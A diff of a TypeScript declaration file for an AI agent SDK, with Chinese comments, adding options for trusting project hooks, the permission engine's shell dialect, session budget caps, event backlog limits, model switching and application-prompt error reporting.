|
|
|
22722
23382
|
config?: LoadedConfig;
|
|
22723
23383
|
/** loadConfig 其余注入缝(fs/homedir/platform;测试 hermetic 用) */
|
|
22724
23384
|
loadOptions?: Omit<LoadConfigOptions, 'cwd' | 'env'>;
|
|
23385
|
+
/**
|
|
23386
|
+
* 项目层 hooks 信任门(托管档)。缺席 / false = 工作区 `.tansr/settings.json` 与 `settings.local.json`
|
|
23387
|
+
* 声明的 command / http hooks 不启用、零执行、零 `hook.*` 事件(user 层 / managed 层 hooks 照常);
|
|
23388
|
+
* true = 宿主代表用户为该工作区授信,项目层 hooks 照跑。SDK 不持久化信任、不读取命令行工具的工作区
|
|
23389
|
+
* 信任记录——是否授信由宿主自行向用户确认并逐次传入。门住的项目层 hooks 在场时通报一次
|
|
23390
|
+
* `project_hooks_untrusted`(`onWarning`;缺席回落事件流 `turn.error{scope:'sdk.notice', recoverable:true}`)。
|
|
23391
|
+
* 注入 / 令牌档无配置 hooks,本项无效。
|
|
23392
|
+
*/
|
|
23393
|
+
trustProjectHooks?: boolean;
|
|
23394
|
+
/**
|
|
23395
|
+
* 权限引擎 Shell 命令词法方言(kernel `HostShell`:'posix' | 'powershell')。缺席随平台(kernel
|
|
23396
|
+
* `detectHostShell()`,与内置 Shell 工具实际派生的 shell 一致);显式值供测试或跨平台装配演练——与真实
|
|
23397
|
+
* 执行 shell 错配会让 Shell 命令词法守卫与执行环境脱节,生产宿主不应设置。三档皆生效。
|
|
23398
|
+
*/
|
|
23399
|
+
hostShell?: HostShell;
|
|
22725
23400
|
/**
|
|
22726
23401
|
* 三环工具入口:builtin(环2 内置,词表逐名)/ platform(环3 平台能力,现只校验位)/ custom
|
|
22727
23402
|
* (环1 defineTool 产物)。缺席 = 装配能力位放行的全部内置工具;`tools: { builtin: [] }` = 零内置。
|
|
@@ -22764,12 +23439,29 @@ interface CreateSessionOptions {
|
|
|
22764
23439
|
thinking?: {
|
|
22765
23440
|
budget?: number;
|
|
22766
23441
|
};
|
|
23442
|
+
/**
|
|
23443
|
+
* 会话预算闸(与 `thinking.budget` 无关):会话累计消耗(USD 金额 / token 总量)触顶时按 `onExceeded`
|
|
23444
|
+
* 处置——缺省 `'block'` 在下一次模型调用前终止本轮(`turn.aborted { reason: 'budget_exceeded' }`,会话保持打开),
|
|
23445
|
+
* `'warn'` 每次查询至多一条 `turn.error { scope: 'budget' }` 后继续。字段与配置文件 `budget` 段同形,
|
|
23446
|
+
* `tansr` 命令行各形态(TUI / headless / serve / acp)与 SDK 读同一段、同一闸门语义。两个上限都缺席 = 不接闸。
|
|
23447
|
+
* 金额维只对以 USD 计价的模型出数(令牌档按平台 bundle 计价);其余档请用 `maxTotalTokens`。
|
|
23448
|
+
*/
|
|
23449
|
+
budget?: SessionBudgetOptions;
|
|
22767
23450
|
/** 单轮 modelTurns 护栏;缺省 200(与 serve 对齐) */
|
|
22768
23451
|
maxTurnsPerQuery?: number;
|
|
22769
23452
|
/** 缺省 randomUUID() */
|
|
22770
23453
|
sessionId?: string;
|
|
22771
23454
|
/** 会话级中断信号:abort 即 close(运行中轮先优雅中止,尾部事件不丢) */
|
|
22772
23455
|
signal?: AbortSignal;
|
|
23456
|
+
/**
|
|
23457
|
+
* 事件流积压上界(首订阅者到来前保留的事件条数 / 近似字节;缺省 1000 条 / 2 MiB)。超界丢最旧、
|
|
23458
|
+
* 队首以恰一条 `session.events_dropped{scope:'sdk.events', droppedCount, reason}` 通报丢弃计数与原因
|
|
23459
|
+
* (contract-v0.27,RFC-RF-1);上界以内首订阅者仍收全量积压。取值须为正数(可为 Infinity),否则 invalid_options。
|
|
23460
|
+
*/
|
|
23461
|
+
events?: {
|
|
23462
|
+
maxBacklogEvents?: number;
|
|
23463
|
+
maxBacklogBytes?: number;
|
|
23464
|
+
};
|
|
22773
23465
|
/**
|
|
22774
23466
|
* 上下文压缩(kernel 自动压缩):缺省 {}(自动压缩,仅上下文窗口已知的轮生效——阈值代数依赖窗口,
|
|
22775
23467
|
* 与 TUI/serve 同守卫);false 显式禁用。
|
|
@@ -22991,6 +23683,7 @@ interface SetModelBinding {
|
|
|
22991
23683
|
/** AgentSession 构造参数(createSession 装配产物;不对外) */
|
|
22992
23684
|
interface AgentSessionInit {
|
|
22993
23685
|
binding: ModelBinding;
|
|
23686
|
+
modelAlias?: string;
|
|
22994
23687
|
executor: ToolExecutor;
|
|
22995
23688
|
system: IRSystemSegment[];
|
|
22996
23689
|
applicationPrompt?: ApplicationPromptInfo;
|
|
@@ -23040,6 +23733,23 @@ interface AgentSessionInit {
|
|
|
23040
23733
|
* (调用即 invalid_options 指引令牌档,imageGen 工具选择同律)。
|
|
23041
23734
|
*/
|
|
23042
23735
|
platformContext?: PlatformToolContext;
|
|
23736
|
+
/** 「从未有订阅者」积压的条数 / 近似字节上界(createSession 已校验;缺省见 DEFAULT_EVENT_BACKLOG) */
|
|
23737
|
+
eventBacklog: {
|
|
23738
|
+
maxEvents: number;
|
|
23739
|
+
maxBytes: number;
|
|
23740
|
+
};
|
|
23741
|
+
/**
|
|
23742
|
+
* 装配层合成事件的入流口回填——构造期把类内私有入流方法交给 createSession 的闭包
|
|
23743
|
+
* (hooks emit / 告警 notice / session.forked),模块外不再依赖公开方法。
|
|
23744
|
+
*/
|
|
23745
|
+
bindEmit?: (emit: (body: EventBody, source: string) => void) => void;
|
|
23746
|
+
/** 会话级中断信号:abort → close;监听在 close 时解除。已 aborted 的信号由 createSession 直接 close */
|
|
23747
|
+
signal?: AbortSignal;
|
|
23748
|
+
/**
|
|
23749
|
+
* 会话预算闸接线(createSession 由 `budget` 选项装配;缺席 = 不接闸、不建账本):`consume` 旁路记账本会话
|
|
23750
|
+
* 全部入流事件(内核事件 + 装配层合成的 cost.usage.updated),`option` 逐轮透传 runQuery.budget。
|
|
23751
|
+
*/
|
|
23752
|
+
budget?: SessionBudgetWiring;
|
|
23043
23753
|
}
|
|
23044
23754
|
/**
|
|
23045
23755
|
* 多轮会话句柄(纯 headless,无 UI;由 `createSession` 创建)。`send()` 提交输入(空闲起新轮,运行中经注入
|
|
@@ -23065,10 +23775,23 @@ declare class AgentSession {
|
|
|
23065
23775
|
* 独立订阅者:SessionView 泵、Narrator、宿主自建循环可同时挂,各得全量事件、互不争抢;
|
|
23066
23776
|
* 首订阅者收到会话创建以来的积压,晚订阅者自订阅点起。跨轮连续,close() 后以
|
|
23067
23777
|
* session.ended 收尾并正常终结(各订阅者排空后 for-await 自然退出)。
|
|
23778
|
+
*
|
|
23779
|
+
* 积压有界:首订阅者到来前的积压受 `CreateSessionOptions.events` 的条数 / 近似字节
|
|
23780
|
+
* 上界约束(缺省 1000 条 / 2 MiB),超界丢最旧并以恰一条 `session.events_dropped{scope:'sdk.events',
|
|
23781
|
+
* droppedCount, reason, …}` 占队首通报(contract-v0.27);上界以内全量积压照旧。
|
|
23782
|
+
* 直播后订阅者全部离场期间推送的事件不保留(晚订阅者自当前起,既有语义)。
|
|
23068
23783
|
*/
|
|
23069
23784
|
get events(): AsyncIterable<KernelEvent>;
|
|
23070
|
-
/**
|
|
23071
|
-
currentModel(
|
|
23785
|
+
/** 下轮模型档快照;active=true 优先取本轮冻结绑定,空闲时取下轮档。 */
|
|
23786
|
+
currentModel(options?: {
|
|
23787
|
+
active?: boolean;
|
|
23788
|
+
}): ResolvedModel;
|
|
23789
|
+
/** 即时快照:在飞执行/下轮选择与已观察模型分开,token占用恒非累计计费量。 */
|
|
23790
|
+
contextState(): SessionContextState;
|
|
23791
|
+
/** 首次同步通知;返回函数解除订阅。观察器失败不影响会话。 */
|
|
23792
|
+
subscribeContext(listener: (state: SessionContextState) => void): () => void;
|
|
23793
|
+
/** 最近一次迁移前原文深拷贝;摘要有损,原件可另行导出/恢复。 */
|
|
23794
|
+
modelTransitionBackup(): ModelTransitionBackup | null;
|
|
23072
23795
|
running(): boolean;
|
|
23073
23796
|
inputCapabilities(): SessionInputCapabilities;
|
|
23074
23797
|
getInputTarget(): SessionInputTarget | null;
|
|
@@ -23091,7 +23814,9 @@ declare class AgentSession {
|
|
|
23091
23814
|
* 结构化 throw(不静默吞输入)。
|
|
23092
23815
|
*/
|
|
23093
23816
|
send(prompt: string): void;
|
|
23094
|
-
/**
|
|
23817
|
+
/** 图文仅从空闲起新轮;拒绝时零消费,宿主保留原草稿后重试。 */
|
|
23818
|
+
sendBlocks(input: readonly SessionUserBlock[]): SendBlocksResult;
|
|
23819
|
+
/** 中断当前轮(优雅:事件流走到 turn.aborted);空闲为无害空操作;已关闭 → session_closed(全表同律) */
|
|
23095
23820
|
interrupt(): void;
|
|
23096
23821
|
/**
|
|
23097
23822
|
* 模型切换(对后续轮生效;运行中轮不受影响):
|
|
@@ -23099,12 +23824,18 @@ declare class AgentSession {
|
|
|
23099
23824
|
* (解析失败抛 TansrSdkError('assembly_failed'),会话状态不变);
|
|
23100
23825
|
* - SetModelBinding:client 与 model 成对更换(跨 provider 时旧 client
|
|
23101
23826
|
* 不可复用);contextWindowTokens 不传则清空(宁缺毋错)。
|
|
23827
|
+
* 已关闭会话上调用 → session_closed(先于别名解析:不构造任何新 client,currentModel() 不变)。
|
|
23102
23828
|
*/
|
|
23103
23829
|
setModel(next: string | SetModelBinding): void;
|
|
23830
|
+
/**
|
|
23831
|
+
* 空闲期安全切模:完整备份→源窗/分段摘要→目标预算验证→持久化→原子提交。
|
|
23832
|
+
* 无store时保留内存原文;失败/取消不切模型、不换历史。新输入沿idle操作队列缓冲。
|
|
23833
|
+
*/
|
|
23834
|
+
switchModel(next: string | SetModelBinding, options?: SwitchModelOptions): Promise<SwitchModelResult>;
|
|
23104
23835
|
/**
|
|
23105
23836
|
* 动态切换思考生成(生成面旋钮,setModel 同形制):下一轮生效,运行中轮
|
|
23106
23837
|
* 不受影响。undefined = 回到不注入(模型缺省);呈现面(思考显示与否)
|
|
23107
|
-
* 走 SessionView delivery
|
|
23838
|
+
* 走 SessionView delivery,两旋钮正交互不推导。已关闭会话上调用 → session_closed。
|
|
23108
23839
|
*/
|
|
23109
23840
|
setThinking(thinking: {
|
|
23110
23841
|
budget?: number;
|
|
@@ -23112,6 +23843,7 @@ declare class AgentSession {
|
|
|
23112
23843
|
/**
|
|
23113
23844
|
* 关闭会话(幂等):空闲立即收口(session.ended + 流终结);运行中先
|
|
23114
23845
|
* abort,收口推迟到泵终态——中止轮的尾部事件(turn.aborted 等)不丢失。
|
|
23846
|
+
* 会话级 signal 的 abort 监听在此解除(逻辑 close 后 abort 已无事可做,不再为已关闭会话持有闭包)。
|
|
23115
23847
|
*/
|
|
23116
23848
|
close(): void;
|
|
23117
23849
|
/** 排空当前轮(含结转连锁起的新轮)与空闲期操作链:close/断言前等待终态收口 */
|
|
@@ -23174,11 +23906,6 @@ declare class AgentSession {
|
|
|
23174
23906
|
* 并发造成共享附件误删);运行中的轮不受影响(本方法不触历史,链内不校验 turn_running)。
|
|
23175
23907
|
*/
|
|
23176
23908
|
importCheckpoint(bytes: Uint8Array, options?: ImportCheckpointOptions): Promise<CheckpointMeta>;
|
|
23177
|
-
/**
|
|
23178
|
-
* 装配层合成事件入流(hooks emit / provider 切换 / todo 台账):包络本地
|
|
23179
|
-
* 补齐,seq 与内核事件共用同一会话计数器。内部使用;不属公开 API 面。
|
|
23180
|
-
*/
|
|
23181
|
-
pushBody(body: EventBody, source: string): void;
|
|
23182
23909
|
/** 等查询生成器实际收尾与提交;不得从本会话 history callback 内调用并等待。 */
|
|
23183
23910
|
drain(options?: SessionDrainOptions): Promise<SessionDrainResult>;
|
|
23184
23911
|
/** 信号/超时仅约束观察,逻辑 close 仍即时生效;非法选项在 close 前拒绝。 */
|
|
@@ -23204,6 +23931,28 @@ declare class AgentSession {
|
|
|
23204
23931
|
*/
|
|
23205
23932
|
declare function createSession(options?: CreateSessionOptions): Promise<AgentSession>;
|
|
23206
23933
|
|
|
23934
|
+
/** 应用提示词刷新失败的稳定原因分类,可用于区分凭据、权限、网络及配置问题。 */
|
|
23935
|
+
type ApplicationPromptFailureReason = 'authentication' | 'authorization' | 'rate_limit' | 'unavailable' | 'network' | 'timeout' | 'invalid_config' | 'cancelled' | 'unknown';
|
|
23936
|
+
/** 失败后的建议恢复动作;由宿主决定何时执行,不会自动续期或重放请求。 */
|
|
23937
|
+
type ApplicationPromptRetry = 'renew_credentials' | 'sign_in' | 'check_permissions' | 'retry_later' | 'retry' | 'check_configuration' | 'none';
|
|
23938
|
+
/** 可安全投影到事件/界面的事实;不含地址、原始响应、令牌或异常堆栈。 */
|
|
23939
|
+
interface ApplicationPromptFailure {
|
|
23940
|
+
stage: 'app_config' | 'credential_refresh' | 'turn_start';
|
|
23941
|
+
reason: ApplicationPromptFailureReason;
|
|
23942
|
+
retry: ApplicationPromptRetry;
|
|
23943
|
+
status?: number;
|
|
23944
|
+
}
|
|
23945
|
+
/** 应用配置请求失败,附带可向用户展示的原因、HTTP 状态及恢复建议。 */
|
|
23946
|
+
declare class AppConfigRequestError extends TansrSdkError {
|
|
23947
|
+
/** 不含凭据及响应正文的只读错误详情。 */
|
|
23948
|
+
readonly failure: Readonly<ApplicationPromptFailure>;
|
|
23949
|
+
constructor(failure: ApplicationPromptFailure, options?: ErrorOptions);
|
|
23950
|
+
}
|
|
23951
|
+
/** 从有限层 cause 及约定字段提取提示词刷新失败的安全信息,不转发错误正文。 */
|
|
23952
|
+
declare function describeApplicationPromptFailure(error: unknown): ApplicationPromptFailure;
|
|
23953
|
+
/** 终端文案走共享语言包;失败类别与恢复建议分别有稳定字段供宿主自行渲染。 */
|
|
23954
|
+
declare function applicationPromptFailureMessage(error: unknown): string;
|
|
23955
|
+
|
|
23207
23956
|
/** `createFileSessionStore` 的选项:存储根目录 + 可选封段阈值、冷层分层存储与可观测回调 */
|
|
23208
23957
|
interface CreateFileSessionStoreOptions {
|
|
23209
23958
|
/** 存储根目录(显式传入,恒不隐式扫用户目录;Electron 场景传 userData) */
|
|
@@ -23413,18 +24162,22 @@ interface ErrorView {
|
|
|
23413
24162
|
readonly detail?: Record<string, unknown>;
|
|
23414
24163
|
}
|
|
23415
24164
|
/**
|
|
23416
|
-
* 咨询通报:`turn.error{recoverable:true}` 的归约形——
|
|
23417
|
-
*
|
|
23418
|
-
*
|
|
24165
|
+
* 咨询通报:`turn.error{recoverable:true}` 与 `session.events_dropped`(contract-v0.27,RFC-RF-1)的归约形——
|
|
24166
|
+
* kernel 的咨询帧(压缩熔断暂停 / sdk.notice 弃用提示 / sdk.persistence 落卷失败 / serve store_commit_failed …)
|
|
24167
|
+
* 与 sdk 事件积压溢出通报都不是失败,归 `notices` 而不污染 lastError。字段恒自 wire 派生,不发明词:
|
|
23419
24168
|
* - seq / at = 事件包络 seq / ts;
|
|
23420
|
-
* - code = errorKind,errorKind 缺席回落 scope;
|
|
23421
|
-
* -
|
|
24169
|
+
* - code = errorKind,errorKind 缺席回落 scope;`session.events_dropped` 归约 code = 事件 type;
|
|
24170
|
+
* - message = `turn.error.message`;零文本事件(`session.events_dropped`)**不落键**——宿主按 `code` 渲染、
|
|
24171
|
+
* `message` 仅作兜底(0.14.0 起可选,DEC-RF-20 QA-RFC-02 (b));
|
|
24172
|
+
* - detail = `turn.error.detail` 透传(首个取值套餐配额 `{ scope: 'plan' }`)/ `session.events_dropped` 载荷去
|
|
24173
|
+
* type、scope 后的余键(`{ droppedCount, reason, droppedBytes?, firstDroppedSeq?, lastDroppedSeq?, maxEvents?, maxBytes? }`);
|
|
24174
|
+
* 缺席即键缺席。
|
|
23422
24175
|
*/
|
|
23423
24176
|
interface SessionNotice {
|
|
23424
24177
|
readonly seq: number;
|
|
23425
24178
|
readonly scope: string;
|
|
23426
24179
|
readonly code: string;
|
|
23427
|
-
readonly message
|
|
24180
|
+
readonly message?: string;
|
|
23428
24181
|
readonly at: number;
|
|
23429
24182
|
readonly detail?: unknown;
|
|
23430
24183
|
}
|
|
@@ -23877,7 +24630,7 @@ interface ApplicationPromptTurnOptions {
|
|
|
23877
24630
|
prepare: (signal: AbortSignal) => Promise<IRSystemSegment[]>;
|
|
23878
24631
|
/** 每轮最多调用一次;此后工具循环始终消费该轮选定的 system。 */
|
|
23879
24632
|
start: (system: IRSystemSegment[]) => QueryHandle;
|
|
23880
|
-
errorMessage
|
|
24633
|
+
errorMessage?: (error: unknown) => string;
|
|
23881
24634
|
errorScope?: string;
|
|
23882
24635
|
/** 预检绝对上限,缺省30秒;即使自定义fetch忽略取消,也能收束本轮。 */
|
|
23883
24636
|
prepareTimeoutMs?: number;
|
|
@@ -23905,5 +24658,5 @@ declare function createApplicationPromptRefresher(options: {
|
|
|
23905
24658
|
etag?: string;
|
|
23906
24659
|
}): (signal: AbortSignal) => Promise<ApplicationPromptSnapshot>;
|
|
23907
24660
|
|
|
23908
|
-
export { ADJUDICATION_CONSULT_TOKEN_ESTIMATE, ADJUDICATION_POSTURES, ADJUDICATOR_TIERS, ADJUDICATOR_UNAVAILABLE_WARNING, APP_PLATFORMS, APP_PLATFORM_TOPOLOGY, APP_SDK_CONTRACT_VERSION, APP_SINGLE_STAGE_INSTRUCTION, APP_SINGLE_STAGE_PROTOCOL_FINGERPRINT, APP_TOKEN_PLACEHOLDER_ENV, APP_TOKEN_PLACEHOLDER_VALUE, APP_TOKEN_REJECT_REASONS, APP_TOKEN_TRANSIENT_REASONS, AdjudicatorTierSchema, AgentSession, AppBundlePlanSchema, AppCapabilitiesSchema, AppPlatformSchema, AppTokenRequestSchema, AppTokenResponseSchema, CAPABILITY_BIT_TOOL_NAMES, CAPABILITY_PLATFORM_KEYS, CAPABILITY_TOOL_KEYS, CAPABILITY_TOPOLOGIES, CHECKPOINT_EXPORT_FORMAT, CLASSIFIER_PROTOCOL_FINGERPRINT, CLASSIFIER_TIMEOUT_POLICY, CLIENT_FEATURES, DEFAULT_APP_CAPABILITIES, DEFAULT_BUNDLE_CACHE_SCOPE, DEFAULT_BUNDLE_CACHE_TTL_MS, DEFAULT_MAX_TOKENS, DEFAULT_MAX_TURNS, DEVELOPER_ONLY_ADJUDICATOR_WARNING_CODES, EndUserIdSchema, HEADER_APP_TOKEN, HEADER_CLIENT_FEATURES, IMAGEGEN_TOOL_MAX_N, IMAGEGEN_TOOL_TIMEOUT_MS, ImageGenArgsSchema, ImageGenDataSchema, LOCAL_END_USER_KEY, McpHost, OUTPUT_TAIL_MAX_CHARS, PLAN_ERROR_CODES, PLAN_ERROR_HTTP_STATUS, PLAN_STATUSES, PLAN_TIERS, PLATFORM_MEDIA_PROVIDER_NAME, PLATFORM_SEARCH_PROVIDER_NAME, PlanCapsSchema, PlanStatusSchema, PlanTierSchema, PlatformRequestError, QueueChannel, SEGMENTED_STORE_DEFAULTS, SESSION_NOTICES_MAX, SINGLE_STAGE_PROTOCOL_FINGERPRINT, SPEECH_TO_TEXT_TOOL_TIMEOUT_MS, SdkLifecycleError, SequentialToolExecutor, SpeechAudioSchema, SpeechDataSchema, SpeechToTextArgsSchema, StoreError, TANSR_PROVIDER_ID, TEXT_TO_SPEECH_DEFAULT_MAX_CHARS, TEXT_TO_SPEECH_FORMATS, TEXT_TO_SPEECH_TOOL_TIMEOUT_MS, TOKEN_INVALIDATING_CODES, TOOLS_PLATFORM_DEPRECATED_CODE, TOOL_GUIDE_LABEL, TWO_STAGE_TIMEOUT_MS, TansrSdkError, TextToSpeechArgsSchema, TranscriptDataSchema, TranscriptSegmentSchema, UnavailableChannel, VIDEOGEN_TOOL_MAX_DURATION, VIDEOGEN_TOOL_TIMEOUT_MS, VideoGenArgsSchema, VideoGenDataSchema, accumulateUsage, alignHistoryPage, appBundlePricingUpdates, appBundleRegistryConfig, appSingleStageProtocolFingerprintFor, appendUserMessage, assembleBundleAdjudicator, assembleManagedModel, assemblePlatformModel, assembleSdkSkills, assembleTokenTierAdjudicator, assembleTooling, attachSdkMcp, attachSdkMcpWithDiscover, attachSdkTaskTool, buildClientFromRegistry, buildSdkToolSet, buildToolGuideSegment, bundleKey, classifierProtocolFingerprintFor, createAppTokenFetch, createApplicationPromptRefresher, createBlockListClassifier, createBundleCache, createChaosBlobStore, createClassifierTranscriptRecorder, createFileCheckpointStore, createFileSessionStore, createFsBlobStore, createImageGenTool, createMcpHost, createMemoryBlobStore, createNarrator, createPlatformAudioClient, createPlatformImageGenProvider, createPlatformSearchProvider, createPlatformSpeechToTextProvider, createPlatformTextToSpeechProvider, createPlatformVideoGenProvider, createSdkPermissionGate, createSession, createSessionView, createSingleStageClassifier, createSpeechToTextTool, createTextToSpeechTool, createTwoStageClassifier, createUnavailablePlatformAudioClient, createVideoGenTool, defaultAppCapabilities, defineSkill, defineTool, featuresFingerprintOf, fetchAppBundle, fetchTwpFeatures, fetchTwpHeartbeat, hintFor, hostedToolUniverse, inapplicableTrueBits, initialSessionViewState, isPlanErrorCode, isRenderableArtifact, isSessionHistoryStore, isTokenInvalidatingCode, isTransientAppTokenReason, markSourceFailure, normalizeAppCapabilitiesForPlatform, normalizeEtagValue, parseAppBundle, parseCacheControlMaxAgeMs, parseMediaArtifact, parseSpeechData, parseStage1Output, parseStage2Output, parseTranscriptData, planErrorGuidance, planUpgradeUrlOf, platformErrorOf, prepareAdjudication, prepareApplicationPromptTurn, providerSwitchedBody, query, readHistoryPage, reduceSessionView, renderAppContext, renderCallPayloadDetailed, renderClassifierStagePrompt, renderEngineFacts, requestPlatformAudio, resolveAdjudicationPosture, resolveAdjudicatorGovernance, resolveApplicationSystem, resolveBuiltinSelection, resolveInitialMessages, resolvePlatformSelection, resolveStageHandle, runAgent, runIdleCompaction, runStorageConformance, serializeTimeoutPolicy, setSessionViewDelivery, singleStageProtocolFingerprintFor, sliceHistoryPage, stripThinkingParts, subagentModelResolverOf, toStoreError, toToolDef, topologyOf, topologyToolUniverse, validateAdjudicationOptions, viewStateFromHistory, zeroAppCapabilities };
|
|
23909
|
-
export type { ActiveToolStatus, AdjudicationOptions, AdjudicationPosture, AdjudicationWarning, AdjudicatorGovernance, AdjudicatorGovernanceInput, AdjudicatorMoneyFold, AdjudicatorTier, AlignedHistoryPage, Answer, AppBundle, AppBundleAdjudicator, AppBundleContextScheme, AppBundleGovernance, AppBundleImageModel, AppBundleMediaModel, AppBundleModel, AppBundleModelPricing, AppBundlePlan, AppBundlePlatformModels, AppBundleSpeechToTextModel, AppBundleTextToSpeechModel, AppBundleVideoModel, AppCapabilities, AppPlatform, AppTokenRejectReason, AppTokenRequest, AppTokenResponse, ApplicationPromptInfo, ApplicationPromptSnapshot, ApplicationPromptTurnOptions, AskUserCallback, AssembleBundleAdjudicatorOptions, AssembleManagedModelOptions, AssemblePlatformModelOptions, AssembleToolingAdjudication, AssembleToolingOptions, AssembledBundleAdjudicator, AssembledManagedModel, AssembledPlatformModel, AssembledSkills, AssembledTooling, AttachSdkTaskToolConfig, AudioAsrConstraints, AudioTtsConstraints, BlobListEntry, BlobMeta, BlobStoreCapabilities, BlockListClassifierConfig, BuildSdkToolSetOptions, BuiltinToolName, BundleCache, BundleCacheKey, BundleCacheResolveInput, BundleCacheScope, BundleCacheStats, ByteRange, Capability, CapabilityPlatformKey, CapabilityToolKey, CapabilityTopology, CapabilityTopologyProfile, ChaosBlobStore, ChaosFaults, ChaosStats, Checkpoint, CheckpointInput, CheckpointMeta, CheckpointOptions, CheckpointRetention, CheckpointStore, CheckpointTrigger, ClassifierAssemblyMode, ClassifierLiveStages, ClassifierProtocol, ClassifierStageBudgetOverrides, ClassifierStageHandle, ClassifierTimeoutPolicy, ClassifierTranscriptRecorder, ClientFeature, StoredSessionMeta as ColdStoredSessionMeta, ColdTierEvent, ColdTierEventType, ColdTierStats, CompactNowOptions, CompactNowResult, CompactOptions, CompactResult, CompactionFailureReason, ConfigDiagnostic, CreateBlockListClassifierOptions, CreateBundleCacheOptions, CreateFileCheckpointStoreOptions, CreateFileSessionStoreOptions, CreateImageGenToolOptions, CreatePlatformAudioClientOptions, CreatePlatformImageGenProviderOptions, CreatePlatformSearchProviderOptions, CreatePlatformSpeechToTextProviderOptions, CreatePlatformTextToSpeechProviderOptions, CreatePlatformVideoGenProviderOptions, CreateSdkPermissionGateOptions, CreateSessionOptions, CreateSpeechToTextToolOptions, CreateTextToSpeechToolOptions, CreateVideoGenToolOptions, DecisionSource, DefineSkillOptions, DefineToolOptions, DefinedSkill, DefinedTool, DeliveryConfig, ErrorView, EventBody, EventEnvelope, FetchedAppBundle, ForkOptions, ForkResult, FsBlobStoreOptions, GateDecision, HistoryCommitMeta, HistoryPage, HistoryPageOptions, HistoryRewriteReason, HookOutcomeStatus, IRBlock, IRErrorKind, IRMessage, IRRequest, IRRole, IRStreamEvent, IRSystemSegment, IRToolContent, IRToolDef, IRToolResultBlock, IRUsage, IdleCompactionInput, IdleCompactionResult, ImageGenArgs, ImageGenData, ImageModelConstraints, ImageModelDescriptor, ImportCheckpointOptions, Integrity, JournalKind, JournalRecord, KernelEvent, KernelState, KeyPredicate, LoadConfigOptions, LoadQuery, LoadResult, LoadedConfig, ManagedQueryOptions, McpClientEvent, McpConnectFactory, McpConnection, McpEventObserver, McpHostOptions, McpServerConfig, McpSessionOption, MediaArtifact, MediaHintAudience, MediaHintFace, MediaModelDescriptor, MediaOutputHosting, MemoryBlobStoreOptions, ModelCallOptions, ModelClient, Narrator, NarratorOptions, NarratorVerbosity, PermissionDecision, PermissionGate, PermissionMode, PermissionOptions, PermissionRules, PlanCaps, PlanErrorCode, PlanStatus, PlanTier, PlatformAudioCallOptions, PlatformAudioClient, PlatformAudioFace, PlatformAudioResponse, PlatformCapabilityName, PlatformMediaProviderOptions, PlatformToolContext, PlatformWarning, PreparedAdjudication, Pricing, PromptCachingMode, PromptChannel, ProposedToolCall, ProtocolKind, ProviderProfile, PutOptions, PutResult, QueryBeforeCompactContext, QueryBeforeCompactHook, QueryCompactionOptions, QueryCounters, QueryHandle, QueryLifecycleOptions, QueryOptions, QueryResult, ResourceSettleOptions as QuerySettleOptions, ResourceSettlementResult as QuerySettlement, ResourceSettlementFailure as QuerySettlementFailure, Question, QuestionOption, RenderPayloadOptions, RequestPlatformAudioOptions, ResolvedBundle, ResolvedModel, RestoreOptions, RestoreResult, RunAgentOptions, SdkCleanupHandle, SdkErrorCode, SdkMcpAttachment, SdkSkillsOptions, SdkToolSet, SdkToolsOptions, SdkToolsetRef, SdkWarning, SegmentBlobStore, SegmentationOptions, SegmentedStorePolicy, SequentialToolHandler, SequentialToolResult, SessionCheckpointOptions, SessionCwdChange, SessionDrainOptions, SessionDrainResult, SessionEventSource, SessionHistoryStore, SessionIndexStore, SessionInputCapabilities, SessionInputContent, SessionInputReceipt, SessionInputRejectCode, SessionInputResult, SessionInputSubmission, SessionInputTarget, SessionLifecycleFailure, SessionLifecyclePhase, SessionNotice, SessionRecord, SessionRecordMeta, SessionStore, SessionStoreCommitMeta, SessionStoreCreateInit, SessionStoreForkInput, SessionView, SessionViewDeliveryOptions, SessionViewOptions, SessionViewReducerState, SessionViewSource, SessionViewState, SessionViewStatus, SetCwdResult, SetModelBinding, SkillsFileSystem, SpeakInput, SpeechAudio, SpeechData, SpeechToTextArgs, SpeechToTextModelDescriptor, StorageConformanceCase, StorageConformanceOptions, StorageConformanceReport, StoreErrorKind, StoreErrorOptions, StoreInput, StoredSessionMeta, StreamTransform, SystemPromptPolicy, TansrConfig, TerminalReason, TextDeliveryMode, TextToSpeechArgs, TextToSpeechModelDescriptor, ThinkingDeliveryMode, TodoView, TokenInvalidatingCode, Tool, ToolCallPartStatus, ToolCallView, ToolContext, ToolErrorType, ToolExecutionContext, ToolExecutionOutcome, ToolExecutor, ToolExecutorYield, ToolParameterSpec, ToolResult, ToolResultContent, TranscribeInput, TranscriptData, TranscriptSegment, TwpHeartbeatResult, UIMessage, UIMessagePart, UITextPart, UIThinkingPart, UIToolCallPart, UsageView, VideoGenArgs, VideoGenData, VideoModelConstraints, VideoModelDescriptor, Visibility };
|
|
24661
|
+
export { ADJUDICATION_CONSULT_TOKEN_ESTIMATE, ADJUDICATION_POSTURES, ADJUDICATOR_TIERS, ADJUDICATOR_UNAVAILABLE_WARNING, APP_PLATFORMS, APP_PLATFORM_TOPOLOGY, APP_SDK_CONTRACT_VERSION, APP_SINGLE_STAGE_INSTRUCTION, APP_SINGLE_STAGE_PROTOCOL_FINGERPRINT, APP_TOKEN_PLACEHOLDER_ENV, APP_TOKEN_PLACEHOLDER_VALUE, APP_TOKEN_REJECT_REASONS, APP_TOKEN_TRANSIENT_REASONS, AdjudicatorTierSchema, AgentSession, AppBundlePlanSchema, AppCapabilitiesSchema, AppConfigRequestError, AppPlatformSchema, AppTokenRequestSchema, AppTokenResponseSchema, CAPABILITY_BIT_TOOL_NAMES, CAPABILITY_PLATFORM_KEYS, CAPABILITY_TOOL_KEYS, CAPABILITY_TOPOLOGIES, CHECKPOINT_EXPORT_FORMAT, CLASSIFIER_PROTOCOL_FINGERPRINT, CLASSIFIER_TIMEOUT_POLICY, CLIENT_FEATURES, DEFAULT_APP_CAPABILITIES, DEFAULT_BUNDLE_CACHE_SCOPE, DEFAULT_BUNDLE_CACHE_TTL_MS, DEFAULT_MAX_TOKENS, DEFAULT_MAX_TURNS, DEVELOPER_ONLY_ADJUDICATOR_WARNING_CODES, EndUserIdSchema, HEADER_APP_TOKEN, HEADER_CLIENT_FEATURES, IMAGEGEN_TOOL_MAX_N, IMAGEGEN_TOOL_TIMEOUT_MS, ImageGenArgsSchema, ImageGenDataSchema, LOCAL_END_USER_KEY, McpHost, OUTPUT_TAIL_MAX_CHARS, PLAN_ERROR_CODES, PLAN_ERROR_HTTP_STATUS, PLAN_STATUSES, PLAN_TIERS, PLATFORM_MEDIA_PROVIDER_NAME, 